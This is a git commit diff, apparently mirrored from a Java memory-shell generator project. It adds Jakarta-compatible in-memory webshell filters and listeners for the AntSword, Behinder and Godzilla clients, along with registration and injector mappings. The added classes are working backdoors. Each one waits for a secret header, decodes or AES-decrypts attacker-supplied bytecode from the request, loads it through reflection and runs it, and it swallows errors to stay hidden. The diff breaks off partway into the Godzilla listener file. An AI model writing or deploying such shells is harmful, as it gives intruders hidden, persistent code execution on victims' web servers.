mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 09:40:43 +08:00
add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)
This commit is contained in:
@@ -44,6 +44,11 @@ public class AntSwordGenerator implements IShellGenerator {
|
|||||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
}
|
}
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
bytes = ctClass.toBytecode();
|
bytes = ctClass.toBytecode();
|
||||||
ctClass.detach();
|
ctClass.detach();
|
||||||
|
|||||||
+57
@@ -0,0 +1,57 @@
|
|||||||
|
package jmg.antsword.memshell;
|
||||||
|
|
||||||
|
import jakarta.servlet.*;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
|
||||||
|
public class AntSwordJakartaFilter implements Filter {
|
||||||
|
public String pass;
|
||||||
|
public String headerName;
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String cls = request.getParameter(pass);
|
||||||
|
if (cls != null) {
|
||||||
|
try {
|
||||||
|
byte[] data = doBase64Decode(cls);
|
||||||
|
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
method.setAccessible(true);
|
||||||
|
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||||
|
clazz.newInstance().equals(new Object[]{request, response});
|
||||||
|
} catch (Exception var7) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] doBase64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
package jmg.antsword.memshell;
|
||||||
|
|
||||||
|
import jakarta.servlet.ServletRequestEvent;
|
||||||
|
import jakarta.servlet.ServletRequestListener;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
|
||||||
|
public class AntSwordJakartaListener implements ServletRequestListener {
|
||||||
|
public String pass;
|
||||||
|
public String headerName;
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
HttpServletResponse response = getResponseFromRequest(request);
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String cls = request.getParameter(pass);
|
||||||
|
if (cls != null) {
|
||||||
|
try {
|
||||||
|
byte[] data = base64Decode(cls);
|
||||||
|
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
method.setAccessible(true);
|
||||||
|
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||||
|
clazz.newInstance().equals(new Object[]{request, response});
|
||||||
|
response.flushBuffer();
|
||||||
|
} catch (Exception var7) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] base64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -1,6 +1,8 @@
|
|||||||
package jmg.antsword.util;
|
package jmg.antsword.util;
|
||||||
|
|
||||||
import jmg.antsword.memshell.AntSwordFilter;
|
import jmg.antsword.memshell.AntSwordFilter;
|
||||||
|
import jmg.antsword.memshell.AntSwordJakartaFilter;
|
||||||
|
import jmg.antsword.memshell.AntSwordJakartaListener;
|
||||||
import jmg.antsword.memshell.AntSwordListener;
|
import jmg.antsword.memshell.AntSwordListener;
|
||||||
import jmg.core.config.Constants;
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
@@ -31,9 +33,13 @@ public class ShellUtil {
|
|||||||
static {
|
static {
|
||||||
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
|
||||||
Map<String, String> antSwordMap = new HashMap();
|
Map<String, String> antSwordMap = new HashMap();
|
||||||
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
|
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
|
||||||
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
||||||
|
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName());
|
||||||
|
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
|
||||||
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -44,6 +44,11 @@ public class BehinderGenerator implements IShellGenerator {
|
|||||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
}
|
}
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
bytes = ctClass.toBytecode();
|
bytes = ctClass.toBytecode();
|
||||||
ctClass.detach();
|
ctClass.detach();
|
||||||
|
|||||||
+73
@@ -0,0 +1,73 @@
|
|||||||
|
package jmg.behinder.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import jakarta.servlet.*;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import jakarta.servlet.http.HttpSession;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
public class BehinderJakartaFilter extends ClassLoader implements Filter {
|
||||||
|
public String pass;
|
||||||
|
public String headerName;
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public Class g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderJakartaFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderJakartaFilter(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||||
|
Map obj = new HashMap();
|
||||||
|
obj.put("request", servletRequest);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
|
||||||
|
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
|
||||||
|
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
|
||||||
|
// session.putValue("u", this.pass);
|
||||||
|
session.setAttribute("u", pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
|
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
|
||||||
|
} else {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] doBase64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
package jmg.behinder.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import jakarta.servlet.ServletRequestEvent;
|
||||||
|
import jakarta.servlet.ServletRequestListener;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import jakarta.servlet.http.HttpSession;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||||
|
public String pass;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
|
||||||
|
public BehinderJakartaListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderJakartaListener(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Class g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
Map obj = new HashMap();
|
||||||
|
obj.put("request", request);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
try {
|
||||||
|
// session.putValue("u", pass);
|
||||||
|
session.setAttribute("u", pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||||
|
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||||
|
} catch (Exception var7) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] base64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
package jmg.behinder.util;
|
package jmg.behinder.util;
|
||||||
|
|
||||||
import jmg.behinder.memshell.BehinderFilter;
|
import jmg.behinder.memshell.*;
|
||||||
import jmg.behinder.memshell.BehinderInterceptor;
|
|
||||||
import jmg.behinder.memshell.BehinderListener;
|
|
||||||
import jmg.core.config.Constants;
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
@@ -33,11 +31,15 @@ public class ShellUtil {
|
|||||||
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
|
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
|
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
|
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
|
||||||
|
|
||||||
Map<String, String> behinderMap = new HashMap();
|
Map<String, String> behinderMap = new HashMap();
|
||||||
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
|
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
|
||||||
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
|
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
|
||||||
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
|
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
|
||||||
|
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
|
||||||
|
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
|
||||||
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
|
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -21,6 +21,10 @@
|
|||||||
<artifactId>spring-webflux</artifactId>
|
<artifactId>spring-webflux</artifactId>
|
||||||
<version>5.3.29</version>
|
<version>5.3.29</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jakarta.servlet</groupId>
|
||||||
|
<artifactId>jakarta.servlet-api</artifactId>
|
||||||
|
<version>5.0.0</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
</project>
|
</project>
|
||||||
|
|||||||
@@ -25,6 +25,8 @@ public class Constants {
|
|||||||
|
|
||||||
public static final String SHELL_LISTENER = "Listener";
|
public static final String SHELL_LISTENER = "Listener";
|
||||||
public static final String SHELL_FILTER = "Filter";
|
public static final String SHELL_FILTER = "Filter";
|
||||||
|
public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
|
||||||
|
public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
|
||||||
public static final String SHELL_VALVE = "Valve";
|
public static final String SHELL_VALVE = "Valve";
|
||||||
public static final String SHELL_INTERCEPTOR = "Interceptor";
|
public static final String SHELL_INTERCEPTOR = "Interceptor";
|
||||||
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
|
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
|
||||||
|
|||||||
@@ -59,6 +59,8 @@ public class InjectorUtil {
|
|||||||
Map<String, String> tomcatMap = new HashMap();
|
Map<String, String> tomcatMap = new HashMap();
|
||||||
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
|
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
|
||||||
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
|
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
|
||||||
|
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
|
||||||
|
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
|
||||||
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
|
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -54,6 +54,11 @@ public class GodzillaGenerator implements IShellGenerator {
|
|||||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
}
|
}
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
|
|
||||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
bytes = ctClass.toBytecode();
|
bytes = ctClass.toBytecode();
|
||||||
|
|||||||
+137
@@ -0,0 +1,137 @@
|
|||||||
|
package jmg.godzilla.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import jakarta.servlet.*;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import jakarta.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
|
||||||
|
|
||||||
|
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
|
||||||
|
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
public static String md5;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
|
||||||
|
static {
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaJakartaFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaJakartaFilter(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5(String s) {
|
||||||
|
String ret = null;
|
||||||
|
try {
|
||||||
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||||
|
m.update(s.getBytes(), 0, s.length());
|
||||||
|
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||||
|
} catch (Exception var3) {
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (InstantiationException | IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
f.equals(arrOut);
|
||||||
|
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
|
||||||
|
// f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] base64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,162 @@
|
|||||||
|
package jmg.godzilla.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import jakarta.servlet.ServletRequestEvent;
|
||||||
|
import jakarta.servlet.ServletRequestListener;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
